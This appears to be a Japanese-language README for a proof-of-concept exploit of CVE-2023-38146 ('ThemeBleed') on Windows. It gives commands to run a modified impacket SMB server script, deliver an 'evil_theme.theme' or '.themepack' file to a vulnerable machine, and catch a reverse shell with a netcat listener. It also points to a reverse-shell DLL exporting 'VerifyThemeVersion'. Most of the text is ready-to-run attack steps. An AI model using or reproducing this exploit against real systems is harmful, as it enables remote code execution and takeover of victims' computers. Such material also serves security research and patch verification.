
より良いPOC
https://github.com/gabe-k/themebleed に大きく触発されました。これは Windows でのみ動作するため、自分で作成することにしました。
impacket の smbserver.py から修正したコードを使用しています (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
ブログ記事: https://jnns.de/posts/cve-2023-38146-poc/
依存関係をインストールしてアプリケーションを実行します:
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
脆弱なマシンで "evil_theme.theme" または "evil_theme.themepack" を使用します。
完了!
エクスポートされた関数 "VerifyThemeVersion" を含む DLL を "./td/" フォルダに "Aero.msstyles_vrf_evil.dll" という名前で配置します。Google で検索するか、私の例 https://github.com/Jnnshschl/ThemeBleedReverseShellDLL を使用して、サンプル DLL を見つけてください。
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711